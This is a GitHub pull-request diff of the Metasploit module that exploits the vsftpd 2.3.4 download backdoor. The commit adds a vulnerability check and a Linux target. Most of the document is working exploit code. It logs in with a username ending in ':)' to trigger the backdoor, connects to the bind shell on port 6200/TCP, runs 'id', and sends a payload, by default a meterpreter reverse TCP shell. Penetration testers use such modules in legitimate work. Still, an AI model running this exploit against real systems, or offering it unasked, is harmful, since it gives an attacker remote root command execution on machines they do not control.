Merge pull request #20950 from g0tmi1k/vsftpd_234_backdoor

vsftpd_234_backdoor: Add check & targets
This commit is contained in:
Brendan
2026-02-20 18:46:34 -06:00
committed by GitHub
+100 -23
View File
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
info,
'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the VSFTPD download
This module exploits a malicious backdoor that was added to the VSFTPD download
archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
June 30th 2011 and July 1st 2011 according to the most recent information
available. This backdoor was removed on July 3rd 2011.
@@ -28,20 +28,24 @@ class MetasploitModule < Msf::Exploit::Remote
[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
],
'Privileged' => true,
'Platform' => [ 'unix' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Payload' => {
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
'DisableNops' => true
},
'Targets' => [
[ 'Automatic', {} ],
[
'Linux/Unix Command',
{
'Type' => :unix_cmd,
'DefaultOptions' => {
# This exploit also supports direct interaction with the backdoor using cmd/unix/interact payload
'PAYLOAD' => 'cmd/linux/http/x86/meterpreter_reverse_tcp'
}
}
]
],
'DisclosureDate' => '2011-07-03',
'DefaultTarget' => 0,
@@ -56,23 +60,80 @@ class MetasploitModule < Msf::Exploit::Remote
register_options([ Opt::RPORT(21) ])
end
def exploit
def check
# Check for backdoor first, else exploit will fail
vprint_status("Checking if backdoor has already been triggered (else exploit will fail)")
nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil
if nsock
print_status("The port used by the backdoor bind listener is already open")
handle_backdoor(nsock)
return
print_error("The port used by the backdoor bind listener is already open/in-use (6200/TCP)")
return Exploit::CheckCode::Unknown
end
# Connect to the FTP service port first
vprint_status("Connecting to FTP service")
connect
vprint_status("Checking FTP banner")
banner = sock.get_once(-1, 30).to_s
print_status("Banner: #{banner.strip}")
sock.put("USER #{rand_text_alphanumeric(rand(6) + 1)}:)\r\n")
if banner.downcase.include?("vsftpd 2.3.4")
print_status("FTP banner hints its vulnerable: #{banner.strip}")
else
vprint_status("FTP banner: #{banner.strip}")
end
ftp_user = rand_text_alphanumeric(rand(6) + 1)
vprint_status("Trying to log into FTP (User: #{ftp_user})")
sock.put("USER #{ftp_user}\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")
if resp =~ /^530 /
print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
return Exploit::CheckCode::Safe
end
if resp !~ /^331 /
print_error("This server did not respond as expected: #{resp.strip}")
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Appears if banner.downcase.include?("vsftpd 2.3.4") and resp =~ /^331 /
return Exploit::CheckCode::Unknown
end
def exploit
# Check for backdoor first, else exploit will fail
framework.sessions.each do |sid, sess|
next unless sess.via_exploit
if sess.via_exploit == fullname
vprint_error("Session #{sid} is already connected to the backdoor")
end
end
nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil
if nsock
# Chance are, we will fail, but doesn't hurt to try
print_warning("The port used by the backdoor bind listener is already open. Trying...")
begin
handle_backdoor(nsock)
rescue
vprint_error("Someone has beat us to it, the backdoor is already in-use!")
raise Msf::Exploit::Failed, "Backdoor already in-use"
end
end
# Now connect to the FTP service
vprint_status("Connecting to FTP service")
connect
# Without this, 220 response, rather than 331
vprint_status("Checking FTP banner")
banner = sock.get_once(-1, 30).to_s
vprint_status("FTP banner: #{banner.strip}")
ftp_user = "#{rand_text_alphanumeric(rand(6) + 1)}:)"
vprint_status("Trying to log into FTP via backdoor. User: #{ftp_user}")
sock.put("USER #{ftp_user}\r\n")
resp = sock.get_once(-1, 30).to_s
vprint_status(resp.strip)
if resp =~ /^530 /
print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
@@ -86,32 +147,48 @@ class MetasploitModule < Msf::Exploit::Remote
return
end
sock.put("PASS #{rand_text_alphanumeric(rand(6) + 1)}\r\n")
ftp_pass = "#{rand_text_alphanumeric(rand(6) + 1)}"
vprint_status("Trying to log into FTP via backdoor. Password: #{ftp_pass}")
sock.put("PASS #{ftp_pass}\r\n")
# Do not bother reading the response from password, just try the backdoor
vprint_status("Connecting to backdoor on 6200/TCP")
nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil
if nsock
print_good("Backdoor service has been spawned, handling...")
print_good("Backdoor has been spawned!")
handle_backdoor(nsock)
return
else
print_warning("Unable to connect to backdoor on 6200/TCP. Cooldown?")
end
# Finished with FTP
disconnect
end
def handle_backdoor(s)
vprint_status("Trying 'id' command")
s.put("id\n")
# Wait 5 seconds and get everything
r = s.get_once(-1, 5).to_s
if r !~ /uid=/
print_error("The service on port 6200 does not appear to be a shell")
print_error("The service on port 6200/TCP does not appear to be a fresh shell. Already exploited?")
# Finished with the backdoor
disconnect(s)
return
raise Msf::Exploit::Failed, 'Could not connect to backdoor'
end
print_good("UID: #{r.strip}")
vprint_good("UID: #{r.strip}")
unless payload.encoded.empty?
c = ""
c << payload.encoded
c << "\n"
vprint_status("Running: #{c.strip}")
s.put(c)
end
s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
handler(s)
end
end